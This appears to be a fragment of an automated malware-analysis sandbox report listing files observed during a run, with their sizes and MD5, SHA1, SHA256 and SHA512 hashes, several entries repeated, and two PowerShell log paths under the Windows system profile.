MD530207607094dbd2677a5ca9ef4266dca
SHA1b859d040c786f4dac74c1701111084706a34230d
SHA256894402040107bc8d47d2238a973556deb3f44e83a76d5fa84a13faa9c6c3ffc1
SHA51260cf85b92acfd6b7a232d3fc61ad7fc98cf6291516c3ed04bb916d40c60277518bb63271015b1425bcb7045a1aa452b64c1416d6aab536e3facf2486b9885fbb
-
Filesize
6.8MB
MD5c92523dabbd579121446f018bb0c57e2
SHA1a85c4654b2ce4db9a5911c2bffae5e16c3752ae0
SHA2568670deee60080e46e9ad527db3ddc46dfa53c7de0b3548f9885db742f11e8360
SHA512f4296afa4c14bc968b39bcf3d1992d3442c341a97af6063208659d27daaf900c16045ab9503ea7808db48be3e4a2a8dd0308ea541035ee3d39d78e485879c0ac
-
Filesize
6.8MB
MD5c92523dabbd579121446f018bb0c57e2
SHA1a85c4654b2ce4db9a5911c2bffae5e16c3752ae0
SHA2568670deee60080e46e9ad527db3ddc46dfa53c7de0b3548f9885db742f11e8360
SHA512f4296afa4c14bc968b39bcf3d1992d3442c341a97af6063208659d27daaf900c16045ab9503ea7808db48be3e4a2a8dd0308ea541035ee3d39d78e485879c0ac
-
Filesize
6.8MB
MD5c92523dabbd579121446f018bb0c57e2
SHA1a85c4654b2ce4db9a5911c2bffae5e16c3752ae0
SHA2568670deee60080e46e9ad527db3ddc46dfa53c7de0b3548f9885db742f11e8360
SHA512f4296afa4c14bc968b39bcf3d1992d3442c341a97af6063208659d27daaf900c16045ab9503ea7808db48be3e4a2a8dd0308ea541035ee3d39d78e485879c0ac
-
Filesize
6.8MB
MD5c92523dabbd579121446f018bb0c57e2
SHA1a85c4654b2ce4db9a5911c2bffae5e16c3752ae0
SHA2568670deee60080e46e9ad527db3ddc46dfa53c7de0b3548f9885db742f11e8360
SHA512f4296afa4c14bc968b39bcf3d1992d3442c341a97af6063208659d27daaf900c16045ab9503ea7808db48be3e4a2a8dd0308ea541035ee3d39d78e485879c0ac
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Filesize1KB
MD50f5cbdca905beb13bebdcf43fb0716bd
SHA19e136131389fde83297267faf6c651d420671b3f
SHA256a99135d86804f5cf8aaeb5943c1929bd1458652a3318ab8c01aee22bb4991060
SHA512a41d2939473cffcb6beb8b58b499441d16da8bcc22972d53b8b699b82a7dc7be0db39bcd2486edd136294eb3f1c97ddd27b2a9ff45b831579cba6896d1f776b0
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize12KB
MD50290487fdf7ae36aeb53011aae7253f8
SHA196121cd3de32108edcbc3222d2420f3adbe42a8c
SHA25651390cad96517b84461a5d742cdc82a28b6f078e70b921b4bb771c153b851508
SHA512bc4453f635a1d458c7e5f33ab8a9ea269b73e24401d26e836fce71810898b37a795e1b6f374411b2d8bac68263f6d9d5b493ff1bf209d7848fbec5a7dfc6ba97
-
Filesize
6.8MB
MD5c92523dabbd579121446f018bb0c57e2
SHA1a85c4654b2ce4db9a5911c2bffae5e16c3752ae0
SHA2568670deee60080e46e9ad527db3ddc46dfa53c7de0b3548f9885db742f11e8360
SHA512f4296afa4c14bc968b39bcf3d1992d3442c341a97af6063208659d27daaf900c16045ab9503ea7808db48be3e4a2a8dd0308ea541035ee3d39d78e485879c0ac
-
Filesize
6.8MB
MD5c92523dabbd579121446f018bb0c57e2
SHA1a85c4654b2ce4db9a5911c2bffae5e16c3752ae0
SHA2568670deee60080e46e9ad527db3ddc46dfa53c7de0b3548f9885db742f11e8360
SHA512f4296afa4c14bc968b39bcf3d1992d3442c341a97af6063208659d27daaf900c16045ab9503ea7808db48be3e4a2a8dd0308ea541035ee3d39d78e485879c0ac
-
Filesize
6.2MB
MD56da5d8071a28e156d9d68ec285ef89dc
SHA1af73a42408aacb951c43143771b1f239dca4c5d3
SHA2568082c9c0164c899c59f2353a7a3bdff3ae9f386cc902b4bc1a2ab114fb7cd14b
SHA5124c711d41815d1354a142b2ce2d82cb5ddafacd66d944fd3dc350cffdd44cb33b228da8c4e5c33c3a376abcfe7588f4aa36a856dad06f1ef99748a08f4f7bf308
-
Filesize
4KB
MD59a1604cf20cf29da53ea103a8a111589
SHA18f6e54a156cddf9e2916bf9b4cef71a2f77b6622
SHA25675a715335446b17720b6bd8041a50657c7a5cfd5344f1038eab460e0ed95ea03
SHA5121f0ce80bf9c29bfcf503439e9e5a6b80b57e3b38362b82ffa4ddc42cb88bd9845d323d87c94a143e4324b43752d175ae360ed7dc88a0064cfefab403cceba72d
-
Filesize
268B
MD5a62ce44a33f1c05fc2d340ea0ca118a4
SHA11f03eb4716015528f3de7f7674532c1345b2717d
SHA2569f2cd4acf23d565bc8498c989fccccf59fd207ef8925111dc63e78649735404a
SHA5129d9a4da2df0550afdb7b80be22c6f4ef7da5a52cc2bb4831b8ff6f30f0ee9eac8960f61cdd7cfe0b1b6534a0f9e738f7eb8ea3839d2d92abeb81660de76e7732
-
Filesize
6.2MB
MD56da5d8071a28e156d9d68ec285ef89dc
SHA1af73a42408aacb951c43143771b1f239dca4c5d3
SHA2568082c9c0164c899c59f2353a7a3bdff3ae9f386cc902b4bc1a2ab114fb7cd14b
SHA5124c711d41815d1354a142b2ce2d82cb5ddafacd66d944fd3dc350cffdd44cb33b228da8c4e5c33c3a376abcfe7588f4aa36a856dad06f1ef99748a08f4f7bf308